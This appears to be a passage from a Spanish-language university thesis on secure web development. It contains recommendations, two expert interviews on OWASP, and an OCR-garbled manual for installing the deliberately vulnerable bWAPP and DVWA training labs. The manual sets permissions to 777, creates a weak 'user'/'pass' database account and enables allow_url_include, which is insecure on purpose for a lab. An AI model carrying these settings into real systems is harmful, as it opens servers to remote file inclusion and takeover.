a las organizaciones, y brindar las recomendaciones y mecanismos necesarios para

mitigar cualquier ataque informatico.
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RECOMENDACIONES

v Es necesario realizar evaluaciones periddicas sobre de las vulnerabilidades mas
comunes descritas en el TOP 10 de OWASP. Este con el fin de conocer los esquemas
de ciberataques, y poder actualizar los sistemas informéaticos para minimizar la

explotacion de tales vulnerabilidades.

v' Es importante crear escenarios de pruebas para identificar posibles errores o
vulnerabilidades durante las fases disefio y desarrollo de una aplicacion informatica.
Estas pruebas deben ser ejecutadas por personal técnico especializado que garantice

la funcionalidad, la seguridad y la puesta en marcha de la aplicacién web.

v' Es importante implementar la guia de buenas practicas. Esta guia contiene
recomendaciones para ayudar a mitigar los ataques cibernéticos; con el fin de mejorar
la seguridad informética en aplicaciones web, y a su vez asentar practicas de

seguridad para el desarrollo web seguro.

v’ Para futuras préacticas relacionadas con el estudio de técnicas de ciberseguridad
aplicado en el desarrollo de aplicaciones web, es recomendable expandir el estudio
en escenarios reales que permitan identificar el nivel de riesgo, asi como, la
evaluacion de las técnicas de seguridad en las plataformas informaticas de

organizacion.
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ANEXOS



Anexo 1. Formato de entrevista realizada al personal experto en seguridad informatica
y hacking ético de la UPSE de la Facultad de Sistemas y Telecomunicaciones.

UNIVERSIDAD ESTATAL PENINSULA DE SANTA
ELENAFACULTAD DE SISTEMAS Y
TELECOMUNICACIONES TECNOLOGIAS DE LA
INFORMACION

ENTEVISTADIRIGIDA AL ING. IVAN CORONEL EXPERTO EN SEGURIDAD
INFORMATICA'Y HACKING ETICO

Obijetivo: Conocer la situacion actual de la seguridad informética en las organizaciones
y la seguridad en aplicaciones web en su creacion. .

¢Por qué es importante la seguridad informatica en las organizaciones?

Porque hay que cuidar los activos mas importantes que existe que son los datos, una
organizacion no se puede dar el lujo de que los datos sean expuestos, porque afectaria a la
vision que tiene la gente a la empresa, a la disponibilidad, confiabilidad e integridad de
los datos.

¢ Qué es el desarrollo seguro de aplicaciones web?

El desarrollo seguro de aplicaciones web, tiene que ver con un sinnimero de normas,
normativas o manual de buenas practicas que deben seguir los desarrolladores para no
dejar vulnerabilidades. Por ejemplo, que los campos en donde se ingresen los datos no
permitan caracteres especiales, que no te permitan letras, que las variables tengan nombres
especificos sobre lo que se esta trabajando. Corresponde en un conjunto de practicas que
permiten el desarrollo seguro o también el uso de Framework que se podria utilizar para
la seguridad informatica en aplicaciones web.

¢ Qué estandares internacionales sirven para la seguridad en las aplicaciones web?

En aplicaciones la méas utilizada podria ser OWASP, la mas utilizada. Hay otras como
OSSTMM, PTES. Pero, la méas utilizada es OWASP debido que en su plataforma cuenta
con buenas practicas, y un top 10 de vulnerabilidades que existe en aplicaciones al nivel
mundial.

¢Por qué es necesario seguir estandares de seguridad para el desarrollo seguro de
aplicaciones web?

Porque permite establecer un buen margen en la seguridad de aplicaciones web, entender
que marco referenciales son 6ptimos para reguarda la informacion més valiosa, y poder
ejercer las buenas practicas para que el entrono esté preparado y listo para situaciones de
ataques informaticos.

¢ Cudl es el objetivo de OWASP para la seguridad en aplicaciones web?

OWASP, es una organizacion sin fines de lucros surge para dar las buenas practicas, esos
Framework para desarrollar a la comunidad. OWASP lanza una serie de estudios e incluso
herramientas para probar tus aplicaciones y que cualquier persona que sepa de seguridad
pueda aportar incluso con ellos para dar un acercamiento y ser parte de OWASP.
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¢Qué laboratorios de simulacion son optimismo para el entrenamiento de
ciberseguridad?

Por lo general cuando se trabaja con el tema de seguridad informatica, uno monta sus
propios laboratorios, como es el caso de montar servidores con Kali Linux, herramienta
correspondiente de ciberseguridad, en donde se montaria servidores web, servidores de
base de datos, entre otros. Con respecto a aplicaciones web, montar un entorno de
simulacion de una aplicacion en produccién, pero usando una copia, para asi ejercer las
pruebas de seguridad.

¢ Qué acciones recomienda para tener seguridad adecuada en un aplicativo web?

Las acciones son seguir buenas practicas, tener metodologia de desarrollo que se incluya
el tema de prueba de seguridad, por lo general las metodologias de desarrollo viene de los
requerimientos hasta lo que es prueba, pero no hay una etapa en donde se aplique. La
recomendacion seria, utilizar buenas practicas de programacién, hacer uso de Framework
que permita automéaticamente manejar el tema de ciberseguridad, hacer todas las fases de
ingenieria de software en cuanto a desarrollo, pero afiadir la prueba de seguridad, para asi
realizar testeo en un producto antes de mandarlo a produccion.

Recomienda realizar pruebas de seguridad, con qué frecuencia?

Por supuesto, con el tema de servidores se deben actualizar los parches de seguridad,
realizar un monitoreo periddico en los servidores, y con las aplicaciones seria los cambios
que se emplea para realizar el testeo de un producto antes de mandarlo a produccion.

¢Es importante realizar pruebas de disponibilidad de servicios de los aplicativos
web?

Mas que importante es primordial. El tema de disponibilidad no se puede dejar de
funcionar para asi ejercer las acciones necesario sobre incidentes de seguridad. La
disponibilidad es un tema muy importante que las organizaciones deben conocer

¢, Cual es la importancia de que los miembros de la organizacién tengan conocimiento
de la ciberseguridad?

Es sumamente importante, porque, de alguna forma debe existir alguien que cuide la
organizacion. En toda organizacion debe existir un oficial de seguridad informatica, la
gente de desarrollo debe de conocer las buenas practicas de programacion por seguridad,
la gente que trabaja en servidores, los usuarios deben saber de seguridad informatica. En
una institucion deben de existir todo el personal capacitado en todas las areas para manejar
y conocer el tema de seguridad informatica.
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Anexo 2. Formato de entrevista realizada al personal experto en seguridad informatica
de la UPSE de la Facultad de Sistemas y Telecomunicaciones.

UNIVERSIDAD ESTATAL PENINSULA DE SANTA
ELENAFACULTAD DE SISTEMAS Y
TELECOMUNICACIONES TECNOLOGIAS DE LA
INFORMACION

ENTEVISTA DIRIGIDA AL ING. DANIEL QUIRUMBAY EXPERTO EN
SEGURIDAD INFORMATICA

Objetivo: Conocer la situacion actual de la seguridad informatica en las organizaciones y
la seguridad en aplicaciones web en su creacion.

¢Por qué es importante la seguridad informatica en las organizaciones?

Se dice que la data es el bien mas importante en la empresa, y si no se cuida la data, pues
la empresa podria hasta incluso ir a la quiebra. Se ha detectado que empresas pueden ir a
la quiebra solo por un correo spam, en la que un usuario puede recibirlo y hacer una
infeccion a toda la red de la empresa y mandar a bajo todo. Por eso es importante.

¢ Qué es el desarrollo seguro de aplicaciones web?

Dentro de la parte de desarrollo seguro, existen bastantes aristas que se pueden generar, si
se desea desarrollar una aplicacion web estas deben estar mas relacionado a la
parametrizacion del codigo, y la optimizacion del codigo. Hay muchos desarrolladores
que crean y dicen, si funciona dejalo ahi, ese déjalo ahi a futuro crear un problema de
vulnerabilidad, porque el hacker va por el lado mas sencillo o comun de los problemas de
la red, como la injection sgl en formulario, o en el login.

¢ Qué estandares internacionales sirven para la seguridad en las aplicaciones web?

Los que estan mas relacionado en estos temas es OWASP, debido que contiene buenas
practicas, no es un estandar, es una empresa. Pero, el OWASP tiene mucha data para tener
toda una guia de como se puede desarrollar la estandarizacion. Por otro lado, esté la ISO
27000, que es muy grande pero el factor en las empresas no lo aplican debido que existe
un costo de por medio, como lo es su implementacion.

¢Por qué es necesario seguir estandares de seguridad para el desarrollo seguro de
aplicaciones web?

Es necesario, porque es tu guia, es el que te ayuda tener pie y cabeza sobre lo que se esta
construyendo, debido que no sabrias por donde empezar y como finalizar. Incluso te ayuda
analizar cudles son tus alcances hasta donde puedes llegar o debido a la naturaleza de la
empresa, saber a qué se dedica la empresa y asi identificar si el estandar es aplicable.
¢,Cual es el objetivo de OWASP para la seguridad en aplicaciones web?

Existe el TOP 10 OWASP, de 10 pasos. En donde el OWASP esta siempre en constante
cambio en relacion al manejo de los riesgos de seguridad, en donde el 2017 predominada
el SQL Injection, y ahora en el 2021 existe la predominacion de falla de autenticacion. El
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objetivo es conocer ese dinamismo, ese cambio y el OWASP busca estar al margen de las
nuevas incorporaciones tecnoldgicas y ejercer buenos aportes a la seguridad informatica.

¢Qué laboratorios de simulacion son optimismo para el entrenamiento de
ciberseguridad?

En el tema de laboratorios, existen los laboratorios de cisco debido que la facultad cuenta
con la disposicion de estos entornos. Hay un sinnimero de laboratorios que se pueden
hacer pestenting, para hacer hacking y otros procesos de seguridad

¢ Qué acciones recomienda para tener seguridad adecuada en un aplicativo web?

Hoy en dia, es crear aplicaciones con referente a inteligencia artificial y que las
detecciones sean autométicas. El desarrollador que se comprometa a realizar las
estructuras a conocer, como las librerias para construir y detectar paginas anémalas, spam,
entre otros.

Recomienda realizar pruebas de seguridad, con qué frecuencia?

Si, més que pruebas de seguridad se debe contar con un kit de herramientas en la que
ayuden hacer procesos de monitoreo frecuente. A nivel de ecuador se buscan todélogo,
entonces las herramientas que se manejan deben ser dinamica y automatica, y acorde a los
resultados actuar.

¢Es importante realizar pruebas de disponibilidad de servicios de los aplicativos
web?

Es necesario, y se halla en las buenas practicas que te proporciona ITIL en este tipo de
situacion para mantener el servicio disponible y tener un proceso. En donde te diga, cual
es tu modo de respuesta si se cae algo, si hay un atague o un problema de infraestructura
y saber cuél es el tiempo en recuperarte. Eso es importante, y lo que se debe implementar.

¢, Cual es la importancia de que los miembros de la organizacidn tengan conocimiento
de la ciberseguridad?

Es importante, debido que el ser humano es el eslab6n més débil y por ser el eslab6n méas
débil. Pues emergen la debilidad de los procesos de vulnerabilidad y siendo el punto de
partida de los incidentes. Poder extraer informacion de persona a persona, como la
informacién de contrasefia, accesos de herramienta, en donde se puede conseguir
informacion sensible, o que en maquina se encuentra. Como es el caso de la incorporacion
de la ingenieria social para la recuperacion de datos esenciales.
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ANEXOS 3: MANUAL DE
INSTALACION

73



ENTORNO WEB BWAPP
1. A través del siguiente enlace “http://www.itsecgames.com/download.htm” se realiza

la descarga del entorno bee-box que tiene por defecto la aplicacion BWAPP. Se da
en la opcion “here” para comenzar el proceso de descarga.

®¢ bWAPP, una aplicacion webcon . X <) bWAPP - Browse /bee-box at Source
A No es seguro | itsecgames.com,
Google & Traducido al: espafiol[¥) Mostrar texto original Opciones v | [ ©
juna aplicacion web extremadamente defectuosg————— a

Casa Insectos Descargar Charlas y Capacitaciones Blog

/ Descaraar /

Puede descargar bWAPP desde aqui

Otra posibilidad es descargar bee-box , una maquina virtual Linux personalizada preinstalada con bWAPP.
bee-box le ofrece varias formas de piratear y desfigurar el sitio web de bWAPP. Incluso es posible piratear bee-
box para obtener acceso de root... jCon bee-box tienes la oportunidad de explorar todas las vulnerabilidades de
bWAPP!

O8EC

Puedes descargar bee-box desde aqui

3

[=)

bWAPP tiene licencia [@) sv-re-w0 € 2022 MME BV / Siga a en Twitter y solicite nuestra hoja de Hrucos, que contiene todas las soluciones. exclsiva 2

Imagen 1: Sitio Oficial de BWAPP — Seccion Descargar

2. Tras haber dado clic en “here” en el sitio, la direccion abre otra ventana de navegacion
direccionando a SourceForge para poder descargar el archivo “bee-box_v1.6.7z” de
1.2 GB.

&% BWAPP, una apli neror < bWAPP - Browse /bee-boxatSou X +

n @ sourceforge.net,

Open Source Software

Summary Reviews Support Code Discussion [T I OWASP Bricks

[ 1 K
Il \Vebapplicationsecurity

Warning! earning platform built on PH

Malware detected. Download at your own risk.

Download Latest Version
BWAPPY2.2.7ip(15.1 MB)

Home / bee-box

The ButterFly - Security
Project

The ButterFly

educational env

J Parent folder

bee-box V1672 2014-11-02 1268 sl
release notes. bR 2014-11-02 19KkB 9
README.xt 201409-27 832 Bytes 17 6]
INSTALL it 20140927 24k8 sl @
Totals: 4 Items 12GB 717

bee-box - README

Imagen 2: Sitio SourceForge - Descargar bee-box v1.6.7.z
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Una vez finalizado la descarga se comienza a descomprimir el archivo para obtener
los archivos presentado a continuacion, pero de mismo modo el archivo
correspondiente de uso para la instalacion serd el disco virtual (vmdk) para el
laboratorio.

BE-

Archivo Inicio

15 elementos |

Imagen 3: Archivo bee-box descomprimido

Se crea la maquina virtual bee-box con el sistema operativo Linux version Red Hat
64 bits.

civo  Maquna  Ayuda
Herramientas I # !
m - -
Afiadr  Configuradén

By Kalliox-20224-vituslbox-amd6d E ceneral g previsualizacion

Ep lx]

- 3 ¥ Crear maquina virtual

Red Hat (54-bit)

B nos the guest 05 wil need to be installed manualy.

Modo experto Mext

© Descripcidn

Ninguno

Imagen 4: Creacion de Maquina Virtual — bee-box
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+ % 49

Afiadir

Herramientas
m

=) O previsualizacs
B kali-linux-2022.4-virtualbox-amdé4. | ) G=r] = Previsualizacion
) @ apagada

=g
-3

2048MB %
409 MB
1 B
4CPls

B Descripion

Ninguno

Imagen 5: RAM de 1 GB — Méquina Virtual bee-box

6. El siguiente paso de instalacion corresponde en la creacion del disco duro virtual, se
selecciona el disco de archivo descargado, bee-box.vmdk y dar choose.

& o

W Oracle VM VirtualBox Adm

11y .
&1 Herramientas
m

B e B
e, kali-linux-2022.4-virtualbox-amd64 (2] Selector de disco duro = Previsualizaciin
Apagada

Ey
-

Buscar por nombre

Imagen 6: Disco duro virtual — bee-box.vdmk
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7. Dar en siguiente tras haber seleccionado el disco duro virtual

&

quina

+ & i

Afiadir  Configuracién Mostrar

ux-20224-virtualbox-amd64 & ceneral O Previsualizacion

games'

s - Wi o

il Hard Disl

e box.vmde (Norm

Virtual

& Descripcion

Ninguno

Imagen 7: Dar clic en la opcion siguiente — bee-box

8. Yacumpliendo toda la configuracion, dar en terminar.

+ &

Afiadir racin

e Kalilinux 20224 virtualbox:amda H General & Previsualizacién
D O i

games'

[————

% Machine Name and 0S Type

& Descripcion

Ninguno

Imagen 8: Finalizacién de creacion — Maquina Virtual bee-box
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9. Maquina creada correctamente

3 Oracle VM VirtuzlBox Administrador - X

Archivo Maqina  Ayuda

Herramientas * + # * m

Nueva Afiadr  Configuracidn Triciar
Triciar

022.4-virtualbox-amd64 E General B previsualizacién

Bee_Box

B Amacenamiento

Controk
i : [Unidad §

bee-box.vmck (Normel, 20,00 GB)

Controlado
Controlado

& Red
Adaptador 1: - Intel PRO/1000 MT Deskiop (NAT)

OHCI, EHCI
0 (0 ctivo)

M Carpetas compartidas
& Descripcion

Ninguno

Imagen 9: Maquina creada bee-box

10. Una vez realizado el click en run, comienza a mostrar pantalla la maquina virtual

Archivo  Maquina Ver Entrada Dispositivos Ayuda

Auto capture keyboard ...

Imagen 10: Inicio de maquina virtual
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11. Maquina iniciada correctamente.

Archivo  Maquina Ver Entrada Dispo:

-{3. Applications Places Systel

Y
R

bWAPP - Start

%
Re

bWAPP - Install

-
Re

bWAPP - Update & @

e

W [(SEeCgames

-
\¢

bWAPP intro.

=

IT security, ethical hacking, training and fun

Imagen 11: Méaquina virtual en ejecucion

12. En el panel de escritorio se muestra una guia de indicaciones del entorno.

Archivo Maquna Ver Entrada Dispositvos Ayuda
-{}‘ Applications Places System u) Sat Dec 24, 6:00 AM bee &8

| =

Fle Edit View Go Help

0 _
¥ v oo |00
Previous  Next —

Thumbnails v &

DEFENSE
is needed

B SRR

Imagen 12: Seccidn guia de bee-box
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13. En el navegador de la maquina tras realizar clic por defecto direcciona el entorno
web, se rellena el formulario login con las credenciales y dar clic en inicio de sesion

Archivo  Maquina Ver Entrada Dispositivos Ayuda
{33 Applications Places system (@) Bel Sat Dec 24, 6:02 AM bee

| B BWARE = oG = MO BTEroXs

fle Edit View History Bookmarks Tools Help

(A % [ httpiocalhost/owaPpjlogin.php ~| 149~
¥ bWAPP - Login ‘ %
=\
o

N

an extremely buﬁﬁy web app !

Login New User info  Talks & Training Blog

/ I_oain / ,

NATIONAL m
CENTER FOR

MISSING &
EX ED

CHILDREN

Q8 EC

Login:
wo ;‘ with
( | necs painel
Web Security
Set the security level Scanner
—

al

Imagen 13: Portal Login - BWAPP

14. Ya accedido al sistema se describe un poco mas de la aplicacion y de mismo modo
los ataques de prueba para el trabajo. Instalacion exitosa

Archivo Mquina Ve Entrada Dispositivos  Ayuda

Set your security level

‘low ;

| set | Current: low

an ex+reme|y lau%y web app ‘

Change Password Create User Set security Level Reset Credits Bloﬁ Loﬂmf

/ Porta /

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
ts.
bWAPP covers all major known web vulner

It helps security entt

develor

discover and to prevent web vulnerabilities

SEC

lities, including all risks from the OWASP Top 104roject!

It is for security-testing and educational purposes only.

C

Which bug do you wani

bWAPP v2.2 =
/Al - Injection / L/
HTML Injection - Reflected (GET)
HTML Injection - Reflected (POST) P
HTML Injection - Reflected (Current URL) A

HTML Injection - Stored (Blog)
iFrame Injection

LDAP Injection (Search)

Mail Header Injection (SMTP)

e R
MISSING &
EXPLOITED

CHILDREN

bWAPP s licensed under © 2014 MME BVBA / Folow on Twitter and ask. For our cheat sheet, contaning dl soutions! / Need an exclusive 2

[bWAPP intro] B bee@bee-box: ~

Imagen 14: Portal de escenarios de ataques
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ENTORNO WEB DVWA EN KALI LINUX

15. En el siguiente link “https://github.com/digininja/DVWA” se encuentra el repositorio
del entorno DVWA.

€) GitHub - digininja/DVWA: Damn = X+ v -

4> C 0 & githubcom/digininja/DVIWA g I N )

O Product ~ Solutions v Open Source v  Pricing / signin  Sign up

& digininja / DVWA ( Public L) Notifications 5 Fork 24k Y7 Star 7k

<> Code () Issues (3 17 Pullrequests '3 (O Actions [ Projects [ Wiki (@ Security [~ Insights

P master ~+ P 6branches ©4tags Go to file About

Damn Vulnerable Web Application
€ digininja Merge pull request m digininja/bypassauth = 117cc3s 5 go {D4T3 commits (DVWA)

B .github
W config

B database

Releases '3

Moved from Pastebin to Hasteb...

Imagen 15: Descargar el repositorio en GitHub — DVWA

16.En la opciéon que dice “Code” dar click y copiar el repositorio
https://github.com/digininja/DVWA.git para asi realizar la clonacion del entorno en
la maquina virtual kali Linux en la direccion del servidor apache.

) GitHub - digininja/DVWA: Damn - X+ v _

49 b C A & github.com/digininja/DVWA e B3 0D & =

O Product ~ Solutions v Open Source v Pricing /| signin  Signup

& digininja / DVWA | Public L\ Natifications 5 Fork 24k Y7 Star 7k

<> Code () Issues (3 19 Pullrequests (3 () Actions [ Projects [ Wiki () Security [~ Insights

# master - ¥ 6branches ) 4tags Go to file Code ~ About

Local oot Damn Vulnerable Web Application
C) digininja Merge pull requ from digininja/bypass: T : . (DVWA)

B Clone

github

HTTPS  GitHub CLI
config

database 1 | nttps://github.con/digininia/ DA git iu!

2 Open with GitHub Desktop

[3) Download ZIP

]

gitignore

El

~LANCE O o

Imagen 16: Copiar el repositorio DVWA
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https://github.com/digininja/DVWA

17. Ir a la direccion “cd /var/www/hmtl/ correspondiente al servidor apache para realizar
la clonacion del entorno.
B
Archivo Maquina Ver Entrada Dispositivos Ayuda

T X aEEEE

ol "

root@kali: fvarfwww/html

File Actions Edit View Help

/home/kali
/var/wm/html

/var/wwi/html

Imagen 17: Directorio del servidor web apache - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp

18. Con el comando “git clone https://github.com/digininja/DVWA.git” se hace la
respectiva clonacion del entorno en el servidor.
@

BomP o 23

oy, lk

Trash F root@kali: fvar/wwwihtml
File Actions Edit View Help

E /home/kali
o /var/wm/html

File Systel

/var/wm/html
clone https://github.com/digininja/DVwA.gitl]

Imagen 18: Clonacidn del entorno DVWA - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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19. Con el comando myv, se realiza el cambio del nombre del entorno por dvwa.

Archivo  Maquina Ver Entrada Dispositivos Ayuda

BempPof |2

' - ¢

root@Kali: var/www/html

902 | & @

File Actions Edit View Help

/var/v/html
DWWA dvwa |

Imagen 19: Cambiar el nombre del DVWA a dvwa - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp

20. Se realiza a dar permiso de lectura, escritura y ejecucion al entorno web con el
comando “chmod —R 777 dvwa”.

Archivo Méquna Ver Entrada Dispositvos Ayuda

B EmPor |1 25«

(] 9

= root@kali: fvar/www/html

File Actions Edit View Help

/var/wmi/html
DWWA dvwa

/var/wmi/html

Imagen 20: Dar permiso de lectura, escritura y de ejecucion al entrono web - fuente de fondo de
pantalla: https://images4.alphacoders.com/116/thumbbig-1165712.webp
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21. Entorno web incorporado al servidor web apache.

Archivo Miquna Ver Entrada Dispositvos Ayuda

S emPoOH|1 2 3 4

|
' ’ k -
& root@kali: fvarfwww/html

File Actions Edit View Help

/var/wm/html

index.html index.nginx-debian.html

/var/wm/html
dvwa/configll

Imagen 21: dvwa insertado en el servidor web apache - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp

22.Ir a la direccion “cd dvwa/config” para realizar la configuracion para el
funcionamiento correcto del entorno. Se procede a ejecutar una copia del archivo dist
de configuracion para asi modificar valores de configuracion.
i

Archivo Maquna Ver Entrada Dispositivos Ayuda

S omPoOr|1 2 3 4| 3 - 904 | @ ©

¥ (]

Trash E root@kali: fvarfwww/html/dvwa/config
File Actions Edit View Help

/var/wwi/html/dvwa/config
config.inc.php.dist

/var/wwi/html/dvwa/config
config.inc.php.dist config.inc.php

/var/wwi/html/dvwa/config

config.inc.php config.inc.php.dist

/var/wwi/html/dvwa/config

Imagen 22: Copia de config.ini.php.dis para modificar a config,inic.php - fuente de fondo de
pantalla: https://images4.alphacoders.com/116/thumbbig-1165712.webp
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23. Con el comando “nano config.inc.php” se procede a ingresar el archivo de
configuracién para cambiar el usuario y contrasefia del entorno que viene por defecto
“db_user=dvwa”,”’db_password= p@sswO0rd”, y es reemplazado por “user” y “pass”

s ¢

root@kali: fvar/www/html/dvwa/config

Archivo Maquina Ver Entrada Dispositivos Ayuda

T XY

File Actions Edit View Help
GNU nano 6.4 config.inc.php *
<2php

# If you are havir nnecting to the MySQL database all of
e from localhost to 127.0.0.1. Fixes 3

# Datab. iables
#  WARNING: The database specified under db_database WILL BE ENTIRELY DELET
Please a database dedicated to DVWA.

root, you must create a df

File Name to Write
KE Help M- I8 Append I8 Backup File
My Prepend I

Imagen 23: Cambiar las credenciales de user y password para la conexion a la base de datos -
fuente de fondo de pantalla: https://images4.alphacoders.com/116/thumbbig-1165712.webp

24. Se realiza el cambio y se guarda los cambios

Achivo Maquna Ver Entrada Dispositvos Ayuda

S emPoOr|1 2 3 4

B g K

root@kali: fvar/www/html/dvwal/config

906 | @ &

Trash
File Actions Edit View Help

E /var/wwi/html/dvwa/config

mysql start

Imagen 24: Iniciar el servicio MSQL - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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25. Se realizar alzar el servicio de mysqgl, para asi ingresar al motor de base de datos con
el comando “mysql —u root — p” para crear el usuario establecido en el archivo de

configuracion del entrono

Archivo Maquina Ver Entrada Dispositivos Ayuda

S mmPoOr|1 2 3 4|

' ' k +
- root@kali: /var/www/html/dvwa/config

Trash
File Actions Edit View Help

E /var/wwi/html/dvwa/config
mysql start

File Systel /var/wwi/html/dvwa/config
root
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 31
¥ Server version: 10.6.10-MariaDB-1+b1 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement

MariabB [(none)1> [l

Imagen 25: Iniciar sesion motor base de datos - fuente de fondo de pantalla:

https://images4.alphacoders.com/116/thumbbig-1165712.webp

%207 | & G

26. Se crea el usuario y contrasefa en el motor de base de datos con el comando “create

user ‘user’@’127.0.0.1° identified by ‘pass’;”

Archivo Méquina Ver Entrada Dispositivos Ayuda

BeomPoF|1 2 3 4|

' ’ ky
] root@kali: fvar/www/html/dvwa/config

Trash
File Actions Edit View Help

/var/wwi/html/dvwa/config
mysql start

/var/wwi/html/dvwa/config
root
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your Mar: B connection id is 31
¥ Server version: 10.6.10-MariaDB-1+bl Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement

MariabB [(none)]> create user 'user'd'127.0.0.1' identified by 'pass’;
Query OK, 0 rows affected (0.083 sec)

MariabB [(none)1> I

Imagen 26: Creacion de nuevo usuario fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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27. Tras crear el usuario se realiza a dar todo el privilegio del usuario a la base de datos
del entorno, con el comando “grant all privileges on dvwa.* to ‘user’@’127.0.0.1°
identified by ‘pass’; se realiza la asignacion.

Archivo  Miquina Ver Entrada Dispositivos Ayuda
SemPorl| 2
I root@kali: fvar/www/html/dvwa/config

File Actions Edit View Help

/var/ww/html/dvwa/config
mysql start

/var/ww/html/dvwa/config
root
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 31
Server version: 10.6.10-MariaDB-1+b1 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement
MariaDB [(none)]> create user 'user'®'127.0.0.1' identified by 'pass’;

Query OK, 0 rows affected (0.083 sec)

MariabB [(n

MariaDB [(n grant all privileges on dvwa.* to 'user'®'127.0.0.1' identified by 'pass’;
Query OK, 0 affected (0.048 sec)

MariabB [(none)1> I

Imagen 27: Privilegios al usuario creado para la base de datos dvwa - fuente de fondo de
pantalla: https://images4.alphacoders.com/116/thumbbig-1165712.webp

28. Se realiza la verificacion de la version de PHP con el comando “php -version™.

Achivo Miquna Ver Entrada Dispositvos Ayuda

BEmPoo | 25

root@Kkali: /var/www/html/dvwa/config

File Actions Edit View Help

/var/wwi/html/dvwa/config

Zend Technologies
(c), by Zend Technologies

/var/wm/html/dvwa/config

Imagen 28: Conocer la version de php - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp

87



29. Ir a la direccion “cd etc/php/8.1/apache2” para configurar el archivo php.ini

Achivo Miquina Ver Entrada Dispositvos Ayuda

BEmpPor | 23«0z , SRazlaie

root@kali: fetc/php/8.1/apache2

File Actions Edit View Help

/etc/php/8.1/apache2
php.ini

/etc/php/8.1/apache2

Imagen 29: Configurar el archivo php.ini del php_v8.1 - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp

30. Con el comando “nano php.ini” se realiza abrir el archivo para realizar cambios en el
allow_url.
@
Archivo Méquina Ver Entrada Dispositivos Ayuda
BoaPoOr] |1 23 4|sc pan9s|ae

root@kali: /etc/php/8.1/apache2

File Actions Edit View Help

GNU_nano php.ini
[PHP]

; About php.ini

; PHP's initialization file, gener. called php.ini, is responsible for
; configuring many of the aspects of PHP's behavior.

; PHP attempts to find and load this configuration from a number of locations.
; The following is a summary of it rch or
. S e specific tion.
. The PHPRC environment variabli (As of PHP 5.2.0)
A number of predefined regist on Windows (As of PHP 5.2.0)
. Current working directory (except CLI)
odules), or directory of PHP

; 6. The director the v config-file-path compile time option, or the
i Windows directo
; See the PHP docs for more specific information.

; The syntax of the file is extremely simple. Whitespace and lines

; beginning with a semicolon are silently ignored (as you probably guessed).
; Section hea (e.g. [Fool) are also silently ignored, even though

; they might mean something in the future.

; Directives following the section heading [
; apply to PHP files the /www/mysite dir
; following the section head

; PHP files served from www.e

i special sections cannot be

; at runtime. Currently, [PATH=

; CGI/FastCGI.

i8: Backwards Go To Line
Ml Replace

Imagen 30: Abrir el archivo php.ini - - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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31. Se cambia de off a on la opcidon allow_url_fopen y allow_url_include, y se realizar a
guardar el cambio.

Archivo  Maquina Ver Entrada Dispositivos Ayuda

B EaRo- 12 4

root@kali: fetc/php/8.1/apache2
File Actions Edit View Help

GNU nano 6.4 php. ini

jupload_tmp_dir =

; Maximum allow e for uploaded files.

s that can be uploaded via a single request

Fopen wrapper.

ther to allow the treatment of URLs (like http:// or ftp://) as files.

Bllow_url_fopen = On
; Whether to allow include/require to open URLs (like https:// or ftp://) as files.
allow_url_include = On

; Define mous ftp password (your email address). PHP's default setting

; Define the User-Agent string. PHP's default setting for this is empty.

_agent="PHP"

; Default timeout for socket based streams (seconds)

Help ﬁ Write Out 5 Cut B Execute Location m Undo M Set Mark F To Bracket m Previous
W Exit i Read File 2 ce Wl Paste W Justifv o i of

Go To Line Redo Coov Where Was W Next

Imagen 31: Cambiar las opciones a ON - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp

32. Iniciar el servicio de apache con el comando “service apache? start”

Archivo Miquna Ver Entrada Dispositivos Ayuda

BemPor|

root@kali: fetc/php/8.1/apache2
File Actions Edit View Help

/etc/php/8.1/apache2
apache2 start

Imagen 32: Iniciar servicio de apache - - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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33. Colocar la direccion de la maquina virtrual con el nombre de la carpeta del entorno

“192.168.1.14/dvwa”

Archivo
A

 Welcom

Miquna Ver Entrada

(5] B -
Damn Vulne

&« C o

Kali Linux

Disposiy

O & 192168114

8 KaliTools ¢ KaliDocs & Kali Forums X Kali NetHunter

rome__|
Instructions
Setup | Reset DB

Brute Force
‘Command Injection
CSRF

File Inclusion

File Upload
Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)

Exploit-DB % Google Hacking

o)

Welcome to Damn Vulnerable Web Application!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals fo test their skills and tools in a legal environment, help web
developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment.

The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of
difficultly, with a simple straightforward interface.

General Instructions

Itis up to the user how they approach DVWA. Either by working through every module at a fixed level, or
selecting any module and working up to reach the highest level they can before maving onto the next ane. There
is not a fixed object to complete a madule; however users should feel that they have successfully exploited the
system as best as they possible could by using that particular vulnerability.

Please note, there are both and with this software. This is
intentional. You are encouraged to try and discover as many issues as possible.

DVWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to further
increase the difficutty. This will demonstrate how adding another layer of security may block certain malicious
